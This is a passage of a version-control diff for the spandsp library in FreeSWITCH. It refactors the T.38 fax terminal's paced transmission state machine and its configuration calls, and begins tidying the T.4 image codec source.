-        t38_core_send_indicator(&fe->t38, fe->next_tx_indicator, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_3;
-        fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].training);
-        if ((fe->chunking_modes & T38_CHUNKING_ALLOW_TEP_TIME))
-            fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].tep);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_3:
-        /* Send a chunk of non-ECM image data */
-        /* T.38 says it is OK to send the last of the non-ECM data in the signal end message.
-           However, I think the early versions of T.38 said the signal end message should not
-           contain data. Hopefully, following the current spec will not cause compatibility
-           issues. */
-        len = t30_non_ecm_get_chunk(&s->t30, buf, fe->octets_per_data_packet);
-        bit_reverse(buf, buf, len);
-        if (len < fe->octets_per_data_packet)
-        {
-            /* That's the end of the image data. Do a little padding now */
-            memset(buf + len, 0, fe->octets_per_data_packet - len);
-            fe->non_ecm_trailer_bytes = 3*fe->octets_per_data_packet + len;
-            len = fe->octets_per_data_packet;
-            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_4;
-        }
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, fe->t38.data_tx_count);
-        fe->next_tx_samples += bits_to_samples(s, 8*len);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_4:
-        /* This pads the end of the data with some zeros. If we just stop abruptly
-           at the end of the EOLs, some ATAs fail to clean up properly before
-           shutting down their transmit modem, and the last few rows of the image
-           get corrupted. Simply delaying the no-signal message does not help for
-           all implentations. It often appears to be ignored. */
-        len = fe->octets_per_data_packet;
-        fe->non_ecm_trailer_bytes -= len;
-        if (fe->non_ecm_trailer_bytes <= 0)
-        {
-            len += fe->non_ecm_trailer_bytes;
-            memset(buf, 0, len);
-            t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_SIG_END, buf, len, fe->t38.data_end_tx_count);
-            fe->timed_step = T38_TIMED_STEP_NON_ECM_MODEM_5;
-            /* Allow a bit more time than the data will take to play out, to ensure the far ATA does not
-               cut things short. */
-            fe->next_tx_samples += (bits_to_samples(s, 8*len) + ms_to_samples(60));
-            break;
-        }
-        memset(buf, 0, len);
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_T4_NON_ECM_DATA, buf, len, fe->t38.data_tx_count);
-        fe->next_tx_samples += bits_to_samples(s, 8*len);
-        break;
-    case T38_TIMED_STEP_NON_ECM_MODEM_5:
-        /* This should not be needed, since the message above indicates the end of the signal, but it
-           seems like it can improve compatibility with quirky implementations. */
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NONE;
-        t30_front_end_status(&s->t30, T30_FRONT_END_SEND_STEP_COMPLETE);
-        break;
     case T38_TIMED_STEP_HDLC_MODEM:
-        /* Send HDLC preambling */
-        t38_core_send_indicator(&fe->t38, fe->next_tx_indicator, fe->t38.indicator_tx_count);
-        fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].training + startup_time[fe->next_tx_indicator].flags);
-        if (fe->chunking_modes & T38_CHUNKING_ALLOW_TEP_TIME)
-            fe->next_tx_samples += ms_to_samples(startup_time[fe->next_tx_indicator].tep);
-        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
+        delay = stream_hdlc(s);
         break;
-    case T38_TIMED_STEP_HDLC_MODEM_2:
-        /* Send a chunk of HDLC data */
-        i = fe->tx.len - fe->tx.ptr;
-        if (fe->octets_per_data_packet >= i)
-        {
-            /* The last part of an HDLC frame */
-            if (fe->chunking_modes & T38_CHUNKING_MERGE_FCS_WITH_DATA)
-            {
-                /* Copy the data, as we might be about to refill the buffer it is in */
-                memcpy(buf, &fe->tx.buf[fe->tx.ptr], i);
-                data_fields[0].field_type = T38_FIELD_HDLC_DATA;
-                data_fields[0].field = buf;
-                data_fields[0].field_len = i;
-
-                /* Now see about the next HDLC frame. This will tell us whether to send FCS_OK or FCS_OK_SIG_END */
-                previous = fe->current_tx_data_type;
-                fe->tx.ptr = 0;
-                fe->tx.len = 0;
-                t30_front_end_status(&s->t30, T30_FRONT_END_SEND_STEP_COMPLETE);
-                /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
-                if (fe->tx.len < 0)
-                {
-                    data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK_SIG_END;
-                    fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
-                    /* We add a bit of extra time here, as with some implementations
-                       the carrier falling too abruptly causes data loss. */
-                    fe->next_tx_samples += (bits_to_samples(s, i*8 + fe->tx.extra_bits) + ms_to_samples(100));
-                }
-                else
-                {
-                    data_fields[1].field_type = T38_FIELD_HDLC_FCS_OK;
-                    fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
-                    fe->next_tx_samples += bits_to_samples(s, i*8 + fe->tx.extra_bits);
-                }
-                data_fields[1].field = NULL;
-                data_fields[1].field_len = 0;
-                t38_core_send_data_multi_field(&fe->t38, fe->current_tx_data_type, data_fields, 2, fe->t38.data_tx_count);
-            }
-            else
-            {
-                t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &fe->tx.buf[fe->tx.ptr], i, fe->t38.data_tx_count);
-                fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_3;
-                fe->next_tx_samples += bits_to_samples(s, i*8);
-            }
-            break;
-        }
-        t38_core_send_data(&fe->t38, fe->current_tx_data_type, T38_FIELD_HDLC_DATA, &fe->tx.buf[fe->tx.ptr], fe->octets_per_data_packet, fe->t38.data_tx_count);
-        fe->tx.ptr += fe->octets_per_data_packet;
-        fe->next_tx_samples += bits_to_samples(s, fe->octets_per_data_packet*8);
-        break;
-    case T38_TIMED_STEP_HDLC_MODEM_3:
-        /* End of HDLC frame */
-        previous = fe->current_tx_data_type;
-        fe->tx.ptr = 0;
-        fe->tx.len = 0;
-        t30_front_end_status(&s->t30, T30_FRONT_END_SEND_STEP_COMPLETE);
-        /* The above step should have got the next HDLC step ready - either another frame, or an instruction to stop transmission. */
-        if (fe->tx.len < 0)
-        {
-            /* End of transmission */
-            t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK_SIG_END, NULL, 0, fe->t38.data_end_tx_count);
-            fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_4;
-            fe->next_tx_samples += (bits_to_samples(s, fe->tx.extra_bits) + ms_to_samples(100));
-            break;
-        }
-        if (fe->tx.len == 0)
-        {
-            /* Now, how did we get here? We have finished a frame, but have no new frame to
-               send, and no end of transmission condition. */
-            span_log(&s->logging, SPAN_LOG_FLOW, "No new frame or end transmission condition.\n");
-        }
-        /* Finish the current frame off, and prepare for the next one. */
-        t38_core_send_data(&fe->t38, previous, T38_FIELD_HDLC_FCS_OK, NULL, 0, fe->t38.data_tx_count);
-        fe->timed_step = T38_TIMED_STEP_HDLC_MODEM_2;
-        /* We should now wait 3 octet times - the duration of the FCS + a flag octet - and send the
-           next chunk. To give a little more latitude, and allow for stuffing in the FCS, add
-           time for an extra flag octet. */
-        fe->next_tx_samples += bits_to_samples(s, fe->tx.extra_bits);
-        break;
-    case T38_TIMED_STEP_HDLC_MODEM_4:
-        /* Note that some boxes do not like us sending a T38_FIELD_HDLC_SIG_END at this point.
-           A T38_IND_NO_SIGNAL should always be OK. */
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->timed_step = T38_TIMED_STEP_NONE;
-        t30_front_end_status(&s->t30, T30_FRONT_END_SEND_STEP_COMPLETE);
-        break;
     case T38_TIMED_STEP_CED:
-        /* It seems common practice to start with a no signal indicator, though
-           this is not a specified requirement. Since we should be sending 200ms
-           of silence, starting the delay with a no signal indication makes sense.
-           We do need a 200ms delay, as that is a specification requirement. */
-        fe->timed_step = T38_TIMED_STEP_CED_2;
-        fe->next_tx_samples = fe->samples + ms_to_samples(200);
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
+        delay = stream_ced(s);
         break;
-    case T38_TIMED_STEP_CED_2:
-        /* Initial 200ms delay over. Send the CED indicator */
-        fe->next_tx_samples = fe->samples + ms_to_samples(3000);
-        fe->timed_step = T38_TIMED_STEP_PAUSE;
-        t38_core_send_indicator(&fe->t38, T38_IND_CED, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
-        break;
     case T38_TIMED_STEP_CNG:
-        /* It seems common practice to start with a no signal indicator, though
-           this is not a specified requirement. Since we should be sending 200ms
-           of silence, starting the delay with a no signal indication makes sense.
-           We do need a 200ms delay, as that is a specification requirement. */
-        fe->timed_step = T38_TIMED_STEP_CNG_2;
-        fe->next_tx_samples = fe->samples + ms_to_samples(200);
-        t38_core_send_indicator(&fe->t38, T38_IND_NO_SIGNAL, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
+        delay = stream_cng(s);
         break;
-    case T38_TIMED_STEP_CNG_2:
-        /* Initial short delay over. Send the CNG indicator */
-        fe->timed_step = T38_TIMED_STEP_NONE;
-        t38_core_send_indicator(&fe->t38, T38_IND_CNG, fe->t38.indicator_tx_count);
-        fe->current_tx_data_type = T38_DATA_NONE;
-        break;
     case T38_TIMED_STEP_PAUSE:
         /* End of timed pause */
         fe->timed_step = T38_TIMED_STEP_NONE;
-        t30_front_end_status(&s->t30, T30_FRONT_END_SEND_STEP_COMPLETE);
+        front_end_status(s, T30_FRONT_END_SEND_STEP_COMPLETE);
         break;
     }
+    fe->next_tx_samples += us_to_samples(delay);
     return FALSE;
 }
 /*- End of function --------------------------------------------------------*/
@@ -799,155 +915,163 @@
 }
 /*- End of function --------------------------------------------------------*/
 
+static void start_tx(t38_terminal_front_end_state_t *fe, int use_hdlc)
+{
+    /* The actual transmission process depends on whether we are sending at a paced manner,
+       for interaction with a traditional FAX machine, or streaming as fast as we can, normally
+       over a TCP connection to a machine directly connected to the internet. */
+    if (fe->ms_per_tx_chunk)
+    {
+        /* Start the paced packet transmission process. */
+        fe->timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
+        if (fe->next_tx_samples < fe->samples)
+            fe->next_tx_samples = fe->samples;
+    }
+    else
+    {
+        /* Start the fast streaming transmission process. */
+    }
+}
+/*- End of function --------------------------------------------------------*/
+
 static void set_tx_type(void *user_data, int type, int bit_rate, int short_train, int use_hdlc)
 {
     t38_terminal_state_t *s;
+    t38_terminal_front_end_state_t *fe;
 
     s = (t38_terminal_state_t *) user_data;
+    fe = &s->t38_fe;
     span_log(&s->logging, SPAN_LOG_FLOW, "Set tx type %d\n", type);
-    if (s->t38_fe.current_tx_type == type)
+    if (fe->current_tx_type == type)
         return;
 
     set_octets_per_data_packet(s, bit_rate);
     switch (type)
     {
     case T30_MODEM_NONE:
-        s->t38_fe.timed_step = T38_TIMED_STEP_NONE;
-        s->t38_fe.current_tx_data_type = T38_DATA_NONE;
+        /* If a "no signal" indicator is waiting to be played out, don't disturb it. */
+        if (fe->timed_step != T38_TIMED_STEP_NON_ECM_MODEM_5  &&  fe->timed_step != T38_TIMED_STEP_HDLC_MODEM_5)
+            fe->timed_step = T38_TIMED_STEP_NONE;
+        fe->current_tx_data_type = T38_DATA_NONE;
         break;
     case T30_MODEM_PAUSE:
-        s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(short_train);
-        s->t38_fe.timed_step = T38_TIMED_STEP_PAUSE;
-        s->t38_fe.current_tx_data_type = T38_DATA_NONE;
+        fe->next_tx_samples = fe->samples + ms_to_samples(short_train);
+        fe->timed_step = T38_TIMED_STEP_PAUSE;
+        fe->current_tx_data_type = T38_DATA_NONE;
         break;
     case T30_MODEM_CED:
+        fe->next_tx_samples = fe->samples;
+        fe->timed_step = T38_TIMED_STEP_CED;
+        fe->current_tx_data_type = T38_DATA_NONE;
+        break;
     case T30_MODEM_CNG:
-        if (type == T30_MODEM_CED)
-        {
-            /* A 200ms initial delay is specified. Delay this amount before the CED indicator is sent. */
-            s->t38_fe.next_tx_samples = s->t38_fe.samples;
-            s->t38_fe.timed_step = T38_TIMED_STEP_CED;
-        }
-        else
-        {
-            /* Allow a short initial delay, so the chances of the other end actually being ready to receive
-               the CNG indicator are improved. */
-            s->t38_fe.next_tx_samples = s->t38_fe.samples;
-            s->t38_fe.timed_step = T38_TIMED_STEP_CNG;
-        }
-        s->t38_fe.current_tx_data_type = T38_DATA_NONE;
+        fe->next_tx_samples = fe->samples;
+        fe->timed_step = T38_TIMED_STEP_CNG;
+        fe->current_tx_data_type = T38_DATA_NONE;
         break;
     case T30_MODEM_V21:
-        if (s->t38_fe.current_tx_type > T30_MODEM_V21)
-        {
-            /* Pause before switching from phase C, as per T.30. If we omit this, the receiver
-               might not see the carrier fall between the high speed and low speed sections. */
-            s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(75);
-        }
-        else
-        {
-            s->t38_fe.next_tx_samples = s->t38_fe.samples;
-        }
-        s->t38_fe.next_tx_indicator = T38_IND_V21_PREAMBLE;
-        s->t38_fe.current_tx_data_type = T38_DATA_V21;
-        s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
+        fe->next_tx_indicator = T38_IND_V21_PREAMBLE;
+        fe->current_tx_data_type = T38_DATA_V21;
+        start_tx(fe, use_hdlc);
         break;
     case T30_MODEM_V27TER:
         switch (bit_rate)
         {
         case 2400:
-            s->t38_fe.next_tx_indicator = T38_IND_V27TER_2400_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V27TER_2400;
+            fe->next_tx_indicator = T38_IND_V27TER_2400_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V27TER_2400;
             break;
         case 4800:
-            s->t38_fe.next_tx_indicator = T38_IND_V27TER_4800_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V27TER_4800;
+            fe->next_tx_indicator = T38_IND_V27TER_4800_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V27TER_4800;
             break;
         }
-        s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
-        s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(30);
+        start_tx(fe, use_hdlc);
         break;
     case T30_MODEM_V29:
         switch (bit_rate)
         {
         case 7200:
-            s->t38_fe.next_tx_indicator = T38_IND_V29_7200_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V29_7200;
+            fe->next_tx_indicator = T38_IND_V29_7200_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V29_7200;
             break;
         case 9600:
-            s->t38_fe.next_tx_indicator = T38_IND_V29_9600_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V29_9600;
+            fe->next_tx_indicator = T38_IND_V29_9600_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V29_9600;
             break;
         }
-        s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
-        s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(30);
+        start_tx(fe, use_hdlc);
         break;
     case T30_MODEM_V17:
         switch (bit_rate)
         {
         case 7200:
-            s->t38_fe.next_tx_indicator = (short_train)  ?  T38_IND_V17_7200_SHORT_TRAINING  :  T38_IND_V17_7200_LONG_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V17_7200;
+            fe->next_tx_indicator = (short_train)  ?  T38_IND_V17_7200_SHORT_TRAINING  :  T38_IND_V17_7200_LONG_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V17_7200;
             break;
         case 9600:
-            s->t38_fe.next_tx_indicator = (short_train)  ?  T38_IND_V17_9600_SHORT_TRAINING  :  T38_IND_V17_9600_LONG_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V17_9600;
+            fe->next_tx_indicator = (short_train)  ?  T38_IND_V17_9600_SHORT_TRAINING  :  T38_IND_V17_9600_LONG_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V17_9600;
             break;
         case 12000:
-            s->t38_fe.next_tx_indicator = (short_train)  ?  T38_IND_V17_12000_SHORT_TRAINING  :  T38_IND_V17_12000_LONG_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V17_12000;
+            fe->next_tx_indicator = (short_train)  ?  T38_IND_V17_12000_SHORT_TRAINING  :  T38_IND_V17_12000_LONG_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V17_12000;
             break;
         case 14400:
-            s->t38_fe.next_tx_indicator = (short_train)  ?  T38_IND_V17_14400_SHORT_TRAINING  :  T38_IND_V17_14400_LONG_TRAINING;
-            s->t38_fe.current_tx_data_type = T38_DATA_V17_14400;
+            fe->next_tx_indicator = (short_train)  ?  T38_IND_V17_14400_SHORT_TRAINING  :  T38_IND_V17_14400_LONG_TRAINING;
+            fe->current_tx_data_type = T38_DATA_V17_14400;
             break;
         }
-        s->t38_fe.timed_step = (use_hdlc)  ?  T38_TIMED_STEP_HDLC_MODEM  :  T38_TIMED_STEP_NON_ECM_MODEM;
-        s->t38_fe.next_tx_samples = s->t38_fe.samples + ms_to_samples(30);
+        start_tx(fe, use_hdlc);
         break;
     case T30_MODEM_DONE:
         span_log(&s->logging, SPAN_LOG_FLOW, "FAX exchange complete\n");
-        s->t38_fe.timed_step = T38_TIMED_STEP_NONE;
-        s->t38_fe.current_tx_data_type = T38_DATA_NONE;
+        fe->timed_step = T38_TIMED_STEP_NONE;
+        fe->current_tx_data_type = T38_DATA_NONE;
         break;
     }
-    s->t38_fe.current_tx_type = type;
+    fe->current_tx_type = type;
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_terminal_set_config(t38_terminal_state_t *s, int without_pacing)
+SPAN_DECLARE(void) t38_terminal_set_config(t38_terminal_state_t *s, int without_pacing)
 {
     if (without_pacing)
     {
         /* Continuous streaming mode, as used for TPKT over TCP transport */
         /* Inhibit indicator packets */
-        s->t38_fe.t38.indicator_tx_count = 0;
-        s->t38_fe.t38.data_tx_count = 1;
-        s->t38_fe.t38.data_end_tx_count = 1;
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_INDICATOR, 0);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA_END, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA, 1);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA_END, 1);
         s->t38_fe.ms_per_tx_chunk = 0;
     }
     else
     {
         /* Paced streaming mode, as used for UDP transports */
-        s->t38_fe.t38.indicator_tx_count = INDICATOR_TX_COUNT;
-        s->t38_fe.t38.data_tx_count = DATA_TX_COUNT;
-        s->t38_fe.t38.data_end_tx_count = DATA_END_TX_COUNT;
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_INDICATOR, INDICATOR_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA, DATA_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_CONTROL_DATA_END, DATA_END_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA, DATA_TX_COUNT);
+        t38_set_redundancy_control(&s->t38_fe.t38, T38_PACKET_CATEGORY_IMAGE_DATA_END, DATA_END_TX_COUNT);
         s->t38_fe.ms_per_tx_chunk = MS_PER_TX_CHUNK;
     }
     set_octets_per_data_packet(s, 300);
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_terminal_set_tep_mode(t38_terminal_state_t *s, int use_tep)
+SPAN_DECLARE(void) t38_terminal_set_tep_mode(t38_terminal_state_t *s, int use_tep)
 {
     if (use_tep)
         s->t38_fe.chunking_modes |= T38_CHUNKING_ALLOW_TEP_TIME;
     else
         s->t38_fe.chunking_modes &= ~T38_CHUNKING_ALLOW_TEP_TIME;
+    t38_set_tep_handling(&s->t38_fe.t38, use_tep);
 }
 /*- End of function --------------------------------------------------------*/
 
-void t38_terminal_set_fill_bit_removal(t38_terminal_state_t *s, int remove)
+SPAN_DECLARE(void) t38_terminal_set_fill_bit_removal(t38_terminal_state_t *s, int remove)
 {
     if (remove)
         s->t38_fe.iaf |= T30_IAF_MODE_NO_FILL_BITS;
@@ -957,12 +1081,18 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-t30_state_t *t38_terminal_get_t30_state(t38_terminal_state_t *s)
+SPAN_DECLARE(t30_state_t *) t38_terminal_get_t30_state(t38_terminal_state_t *s)
 {
     return &s->t30;
 }
 /*- End of function --------------------------------------------------------*/
 
+SPAN_DECLARE(t38_core_state_t *) t38_terminal_get_t38_core_state(t38_terminal_state_t *s)
+{
+    return &s->t38_fe.t38;
+}
+/*- End of function --------------------------------------------------------*/
+
 static int t38_terminal_t38_fe_init(t38_terminal_state_t *t,
                                     t38_tx_packet_handler_t *tx_packet_handler,
                                     void *tx_packet_user_data)
@@ -977,26 +1107,34 @@
                   (void *) t,
                   tx_packet_handler,
                   tx_packet_user_data);
+    t38_set_fastest_image_data_rate(&s->t38, 14400);
+
     s->rx_signal_present = FALSE;
     s->timed_step = T38_TIMED_STEP_NONE;
-    s->tx.ptr = 0;
-    s->iaf = T30_IAF_MODE_T37 | T30_IAF_MODE_T38;
+    //s->iaf = T30_IAF_MODE_T37 | T30_IAF_MODE_T38;
+    s->iaf = T30_IAF_MODE_T38;
 
     s->current_tx_data_type = T38_DATA_NONE;
     s->next_tx_samples = 0;
     s->chunking_modes = T38_CHUNKING_ALLOW_TEP_TIME;
 
-    s->t38.fastest_image_data_rate = 14400;
+    s->hdlc_tx.ptr = 0;
 
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-t38_terminal_state_t *t38_terminal_init(t38_terminal_state_t *s,
-                                        int calling_party,
-                                        t38_tx_packet_handler_t *tx_packet_handler,
-                                        void *tx_packet_user_data)
+SPAN_DECLARE(logging_state_t *) t38_terminal_get_logging_state(t38_terminal_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(t38_terminal_state_t *) t38_terminal_init(t38_terminal_state_t *s,
+                                                       int calling_party,
+                                                       t38_tx_packet_handler_t *tx_packet_handler,
+                                                       void *tx_packet_user_data)
+{
     if (tx_packet_handler == NULL)
         return NULL;
 
@@ -1029,16 +1167,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_terminal_release(t38_terminal_state_t *s)
+SPAN_DECLARE(int) t38_terminal_release(t38_terminal_state_t *s)
 {
     t30_release(&s->t30);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-int t38_terminal_free(t38_terminal_state_t *s)
+SPAN_DECLARE(int) t38_terminal_free(t38_terminal_state_t *s)
 {
-    t30_release(&s->t30);
+    t38_terminal_release(s);
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/t4.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/t4.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/t4.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,7 +24,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: t4.c,v 1.113 2008/09/07 12:45:17 steveu Exp $
+ * $Id: t4.c,v 1.131 2009/05/16 03:34:45 steveu Exp $
  */
 
 /*
@@ -60,7 +60,7 @@
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
@@ -72,13 +72,13 @@
 #include <time.h>
 #include <memory.h>
 #include <string.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <tiffio.h>
 
 #include "spandsp/telephony.h"
@@ -86,9 +86,26 @@
 #include "spandsp/bit_operations.h"
 #include "spandsp/async.h"
 #include "spandsp/t4.h"
+#include "spandsp/version.h"
 
-#define CM_PER_INCH     2.54f
+#include "spandsp/private/logging.h"
+#include "spandsp/private/t4.h"
 
+/*! The number of centimetres in one inch */
+#define CM_PER_INCH                 2.54f
+
+/*! The number of EOLs to be sent at the end of a T.4 page */
+#define EOLS_TO_END_T4_TX_PAGE      6
+/*! The number of EOLs to be sent at the end of a T.6 page */
+#define EOLS_TO_END_T6_TX_PAGE      2
+
+/*! The number of EOLs to expect at the end of a T.4 page */
+#define EOLS_TO_END_ANY_RX_PAGE     6
+/*! The number of EOLs to check at the end of a T.4 page */
+#define EOLS_TO_END_T4_RX_PAGE      5
+/*! The number of EOLs to check at the end of a T.6 page */
+#define EOLS_TO_END_T6_RX_PAGE      2
+
 /* Finite state machine state codes */
 enum
 {
@@ -107,6 +124,8 @@
 
 #include "faxfont.h"
 
+static int encode_row(t4_state_t *s);
+
 #if defined(T4_STATE_DEBUGGING)
 static void STATE_TRACE(const char *format, ...)
 {
@@ -121,23 +140,31 @@
 #define STATE_TRACE(...) /**/
 #endif
 
-/* Finite state machine state table entry */
+/*! T.4 finite state machine state table entry */
 typedef struct
 {
-    uint8_t state;          /* See above */
-    uint8_t width;          /* Width of code in bits */
-    int16_t param;          /* Run length in bits */
+    /*! State */
+    uint8_t state;
+    /*! Width of code in bits */
+    uint8_t width;
+    /*! Run length in bits */
+    int16_t param;
 } t4_table_entry_t;
 
+/*! T.4 run length table entry */
 typedef struct
 {
-    uint16_t length;        /* Length of T.4 code, in bits */
-    uint16_t code;          /* T.4 code */
-    int16_t run_length;     /* Run length, in bits */
+    /*! Length of T.4 code, in bits */
+    uint16_t length;
+    /*! T.4 code */
+    uint16_t code;
+    /*! Run length, in bits */
+    int16_t run_length;
 } t4_run_table_entry_t;
 
 #include "t4_states.h"
 
+#if defined(HAVE_LIBTIFF)
 static int set_tiff_directory_info(t4_state_t *s)
 {
     time_t now;
@@ -146,66 +173,68 @@
     uint16_t resunit;
     float x_resolution;
     float y_resolution;
+    t4_tiff_state_t *t;
 
+    t = &s->tiff;
     /* Prepare the directory entry fully before writing the image, or libtiff complains */
-    TIFFSetField(s->tiff_file, TIFFTAG_COMPRESSION, s->output_compression);
-    if (s->output_compression == COMPRESSION_CCITT_T4)
+    TIFFSetField(t->tiff_file, TIFFTAG_COMPRESSION, t->output_compression);
+    if (t->output_compression == COMPRESSION_CCITT_T4)
     {
-        TIFFSetField(s->tiff_file, TIFFTAG_T4OPTIONS, s->output_t4_options);
-        TIFFSetField(s->tiff_file, TIFFTAG_FAXMODE, FAXMODE_CLASSF);
+        TIFFSetField(t->tiff_file, TIFFTAG_T4OPTIONS, t->output_t4_options);
+        TIFFSetField(t->tiff_file, TIFFTAG_FAXMODE, FAXMODE_CLASSF);
     }
-    TIFFSetField(s->tiff_file, TIFFTAG_IMAGEWIDTH, s->image_width);
-    TIFFSetField(s->tiff_file, TIFFTAG_BITSPERSAMPLE, 1);
-    TIFFSetField(s->tiff_file, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
-    TIFFSetField(s->tiff_file, TIFFTAG_SAMPLESPERPIXEL, 1);
-    if (s->output_compression == COMPRESSION_CCITT_T4
+    TIFFSetField(t->tiff_file, TIFFTAG_IMAGEWIDTH, s->image_width);
+    TIFFSetField(t->tiff_file, TIFFTAG_BITSPERSAMPLE, 1);
+    TIFFSetField(t->tiff_file, TIFFTAG_ORIENTATION, ORIENTATION_TOPLEFT);
+    TIFFSetField(t->tiff_file, TIFFTAG_SAMPLESPERPIXEL, 1);
+    if (t->output_compression == COMPRESSION_CCITT_T4
         ||
-        s->output_compression == COMPRESSION_CCITT_T6)
+        t->output_compression == COMPRESSION_CCITT_T6)
     {
-        TIFFSetField(s->tiff_file, TIFFTAG_ROWSPERSTRIP, -1L);
+        TIFFSetField(t->tiff_file, TIFFTAG_ROWSPERSTRIP, -1L);
     }
     else
     {
-        TIFFSetField(s->tiff_file,
+        TIFFSetField(t->tiff_file,
                      TIFFTAG_ROWSPERSTRIP,
-                     TIFFDefaultStripSize(s->tiff_file, 0));
+                     TIFFDefaultStripSize(t->tiff_file, 0));
     }
-    TIFFSetField(s->tiff_file, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
-    TIFFSetField(s->tiff_file, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISWHITE);
-    TIFFSetField(s->tiff_file, TIFFTAG_FILLORDER, FILLORDER_LSB2MSB);
+    TIFFSetField(t->tiff_file, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+    TIFFSetField(t->tiff_file, TIFFTAG_PHOTOMETRIC, PHOTOMETRIC_MINISWHITE);
+    TIFFSetField(t->tiff_file, TIFFTAG_FILLORDER, FILLORDER_LSB2MSB);
 
     x_resolution = s->x_resolution/100.0f;
     y_resolution = s->y_resolution/100.0f;
     /* Metric seems the sane thing to use in the 21st century, but a lot of lousy software
